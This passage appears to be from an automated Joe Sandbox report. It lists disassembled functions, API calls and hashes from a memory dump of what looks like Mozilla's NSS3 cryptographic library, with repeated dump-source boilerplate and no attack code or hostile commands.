a CHECK constraint, xrefs: 6CDD1C76, 6CDD1C81

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: e04c70179f7939cc35babc9954b8a7c051e9cb80ce6b6918690eab3c1af0e0df
Instruction ID: d3fca607367407c00ffb1801dc18563d007a1c6f3c8d6bc245e6c0c3cb6fa69f
Opcode Fuzzy Hash: e04c70179f7939cc35babc9954b8a7c051e9cb80ce6b6918690eab3c1af0e0df
Instruction Fuzzy Hash: 710124B1B042005BD700AB6CE402DB273F5EF8634CB25086DED848BF12EA22E866C751

Function 6CD82E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD83046

Part of subcall function 6CD6EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD6EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CD57FFB), ref: 6CD8312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CD83154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CD82E8B

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

Part of subcall function 6CD6F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CD59BFF,?,00000000,00000000), ref: 6CD6F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CD57FFA), ref: 6CD82EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD8317B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 75250a3e93644b1992b4a3f8ec8a4418347e4083322b9521283e7077db9c6dbf
Instruction ID: fd9459d0e045de6ab3c324824eeb33f5017af28d2779eff99ba69d192d0190e4
Opcode Fuzzy Hash: 75250a3e93644b1992b4a3f8ec8a4418347e4083322b9521283e7077db9c6dbf
Instruction Fuzzy Hash: A6A1BD71A00218AFDB24CF55CC84BEAB7B5EF49308F048199ED4967791E731AE85CFA1

Function 6CD4ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CD4ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CD4EDCE

Part of subcall function 6CD40BE0: malloc.MOZGLUE(6CD38D2D,?,00000000,?), ref: 6CD40BF8
Part of subcall function 6CD40BE0: TlsGetValue.KERNEL32(6CD38D2D,?,00000000,?), ref: 6CD40C15

free.MOZGLUE(00000000,?,?,?,?,6CD4B04F), ref: 6CD4EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CD4EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CD4EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CD4EEFB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 4da0b43ca39504f3dae9d1491b701764ca7f64fa162209aa1b3c171610e6b60e
Instruction ID: 5ba209072a0553ad1b0f56993eadb37ba52ed84751eca4f4ed25cf43ea70bca4
Opcode Fuzzy Hash: 4da0b43ca39504f3dae9d1491b701764ca7f64fa162209aa1b3c171610e6b60e
Instruction Fuzzy Hash: BC815DB5A00205EFEB14CF55D884FABB7F5BF89308F148428EA159BB61D730E815CBA1

Function 6CD4CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD4C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CD4DAE2,?), ref: 6CD4C6C2

PR_Now.NSS3 ref: 6CD4CD35

Part of subcall function 6CDA9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CDF0A27), ref: 6CDA9DC6
Part of subcall function 6CDA9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CDF0A27), ref: 6CDA9DD1
Part of subcall function 6CDA9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CDA9DED

Part of subcall function 6CD36C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CCE1C6F,00000000,00000004,?,?), ref: 6CD36C3F

PR_GetCurrentThread.NSS3 ref: 6CD4CD54

Part of subcall function 6CDA9BF0: TlsGetValue.KERNEL32(?,?,?,6CDF0A75), ref: 6CDA9C07

Part of subcall function 6CD37260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CCE1CCC,00000000,00000000,?,?), ref: 6CD3729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CD4CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CD4CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CD4CE2C

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CD4CE40

Part of subcall function 6CD414C0: TlsGetValue.KERNEL32 ref: 6CD414E0
Part of subcall function 6CD414C0: EnterCriticalSection.KERNEL32 ref: 6CD414F5
Part of subcall function 6CD414C0: PR_Unlock.NSS3 ref: 6CD4150D

Part of subcall function 6CD4CEE0: PORT_ArenaMark_Util.NSS3(?,6CD4CD93,?), ref: 6CD4CEEE
Part of subcall function 6CD4CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CD4CD93,?), ref: 6CD4CEFC
Part of subcall function 6CD4CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CD4CD93,?), ref: 6CD4CF0B
Part of subcall function 6CD4CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CD4CD93,?), ref: 6CD4CF1D

Part of subcall function 6CD4CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CD4CD93,?), ref: 6CD4CF47
Part of subcall function 6CD4CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CD4CD93,?), ref: 6CD4CF67
Part of subcall function 6CD4CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CD4CD93,?,?,?,?,?,?,?,?,?,?,?,6CD4CD93,?), ref: 6CD4CF78

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: b2460b7e83504d8ae4c5c690be8a4bde9a4a29cb5c4baeec6731eb40afa511e8
Instruction ID: 80503980b9b7188ad6870c8af3738ab264feb07c1bb5c934b22b36d2a46ba225
Opcode Fuzzy Hash: b2460b7e83504d8ae4c5c690be8a4bde9a4a29cb5c4baeec6731eb40afa511e8
Instruction Fuzzy Hash: 7551C5B6A001149BE710DF69DC40FAA73F4AF88348F258534DA5997B61FB31ED09CBA1

Function 6CD5FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CD5FFE5

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

PR_EnterMonitor.NSS3(?), ref: 6CD60004
PR_EnterMonitor.NSS3(?), ref: 6CD6001B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: ac615cc47c047ef78fccf69690a70fb230ab3b38f065cb9bad6987e8dcafb000
Instruction ID: 0df6490b65815872262eecbd8c12d8dc2ff11180c19cc2db04fda3c1cf87670e
Opcode Fuzzy Hash: ac615cc47c047ef78fccf69690a70fb230ab3b38f065cb9bad6987e8dcafb000
Instruction Fuzzy Hash: 34411875644680CBE7208B2BDC517AB72A1DB41389F10053EE487CAEB0E7BDB55AC74A

Function 6CD1EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CD1EF38

Part of subcall function 6CD09520: PK11_IsLoggedIn.NSS3(00000000,?,6CD3379E,?,00000001,?), ref: 6CD09542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CD1EF53

Part of subcall function 6CD24C20: TlsGetValue.KERNEL32 ref: 6CD24C4C
Part of subcall function 6CD24C20: EnterCriticalSection.KERNEL32(?), ref: 6CD24C60
Part of subcall function 6CD24C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CD24CA1
Part of subcall function 6CD24C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CD24CBE
Part of subcall function 6CD24C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CD24CD2
Part of subcall function 6CD24C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD24D3A

PR_GetCurrentThread.NSS3 ref: 6CD1EF9E

Part of subcall function 6CDA9BF0: TlsGetValue.KERNEL32(?,?,?,6CDF0A75), ref: 6CDA9C07

free.MOZGLUE(00000000), ref: 6CD1EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CD1F016
free.MOZGLUE(00000000), ref: 6CD1F022

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 6333eac1f242d9e39e819f3642a0cc980dbf46606c5602aad1117edef38e87fc
Instruction ID: a8b5239e575a1e33975126d1bbb75358db250c63a4f442152537e56450ab3da5
Opcode Fuzzy Hash: 6333eac1f242d9e39e819f3642a0cc980dbf46606c5602aad1117edef38e87fc
Instruction Fuzzy Hash: D5418471E04109AFDF01CFA9EC45BEE7BB9AF48358F044025F914A7B60E771D9158BA1

Function 6CD0CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CD0CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CD0D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CD0D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD0D025
PR_NewLock.NSS3 ref: 6CD0D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CD0D074

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 18fd032fcf53ce1cd7ab7b298cdce8cf70f6cc79ea7b1ef8d21dfa5426314391
Instruction ID: c22702c6403d95ef928f129f5566ac7542acec147fe975ff02ff8245f8313945
Opcode Fuzzy Hash: 18fd032fcf53ce1cd7ab7b298cdce8cf70f6cc79ea7b1ef8d21dfa5426314391
Instruction Fuzzy Hash: 7E418EB0B01215DBEB10DF2DC88479ABBE4AF48318F10416ADC1D8BB66D774D885CBA2

Function 6CD53FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CD53FF2

Part of subcall function 6CD414C0: TlsGetValue.KERNEL32 ref: 6CD414E0
Part of subcall function 6CD414C0: EnterCriticalSection.KERNEL32 ref: 6CD414F5
Part of subcall function 6CD414C0: PR_Unlock.NSS3 ref: 6CD4150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CD54001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CD5400F

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CD54054

Part of subcall function 6CCEBB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CCEBC24
Part of subcall function 6CCEBB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CCEBC39
Part of subcall function 6CCEBB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CCEBC58
Part of subcall function 6CCEBB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CCEBCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD54070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CD540CD

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 61fecfad115d1a2c50cdc081df26eba60f598f20ed72280ecd427b49c434f752
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: C131F871E0034197EF009F689C41BBB3364AF9175CF544229EE089B766FB71E97886A2

Function 6CCF2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CCE2D1A), ref: 6CCF2E7E

Part of subcall function 6CD407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CCE8298,?,?,?,6CCDFCE5,?), ref: 6CD407BF
Part of subcall function 6CD407B0: PL_HashTableLookup.NSS3(?,?), ref: 6CD407E6
Part of subcall function 6CD407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD4081B
Part of subcall function 6CD407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD40825

PR_Now.NSS3 ref: 6CCF2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CCF2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CCE2D1A), ref: 6CCF2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CCE2D1A), ref: 6CCF2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CCF2F81

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 6e0705bad947dbb1fefe86468230badad2f0706833ab7c1feaaa7eb60371d2ae
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: C931377152119087F790C755CC68FAF7265EF81318F64457AD43D87AD0FB31988BC621

Function 6CCE0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CCE0A2C), ref: 6CCE0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CCE0A2C), ref: 6CCE0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CCE0A2C), ref: 6CCE0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CCE0A2C), ref: 6CCE0E90
free.MOZGLUE(00000000), ref: 6CCE0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CCE0A2C), ref: 6CCE0ED9

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: d232e6887729b710efb7520721ad770930428617faba74b3a8ed47a0a91762de
Instruction ID: c39902df995c0eb2b3fa39b9d2bda647e6353af83447d48b987d15c12e4c8948
Opcode Fuzzy Hash: d232e6887729b710efb7520721ad770930428617faba74b3a8ed47a0a91762de
Instruction Fuzzy Hash: 69216E72E002854BEB0045769C81B6B72AFEBCB748F094035D95CA7A12FF70D814D2E2

Function 6CCF88D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CD00725,00000000,00000058), ref: 6CCF8906
EnterCriticalSection.KERNEL32(?), ref: 6CCF891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CCF894A
calloc.MOZGLUE(00000001,6CD0072D,00000000,00000000,00000000,?,6CD00725,00000000,00000058), ref: 6CCF8959
memset.VCRUNTIME140(?,00000000,?), ref: 6CCF8993
PR_Unlock.NSS3(?), ref: 6CCF89AF

Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07AD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07CD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07D6
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CC6204A), ref: 6CCD07E4
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,6CC6204A), ref: 6CCD0864
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CCD0880
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,6CC6204A), ref: 6CCD08CB
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08D7
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08FB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 93a29a916203723dde9aee7e20bb927a5a01c0b4857cc4a08db7e5e0d79b9af4
Instruction ID: e260ef397e0588b6eb52e4abd450977891627a545dd3dabca3cba9135ddd6af9
Opcode Fuzzy Hash: 93a29a916203723dde9aee7e20bb927a5a01c0b4857cc4a08db7e5e0d79b9af4
Instruction Fuzzy Hash: AB31F572A002159BDB409F2ACC41E5977A8BF46718F158626EC2CDBB41F731EA46C7D2

Function 6CCEAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CCEAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CCEAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCEAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CCEAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CE09500), ref: 6CCEAF23

Part of subcall function 6CD3F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CD3F0C8
Part of subcall function 6CD3F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CD3F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCEAF37

Memory Dump Source

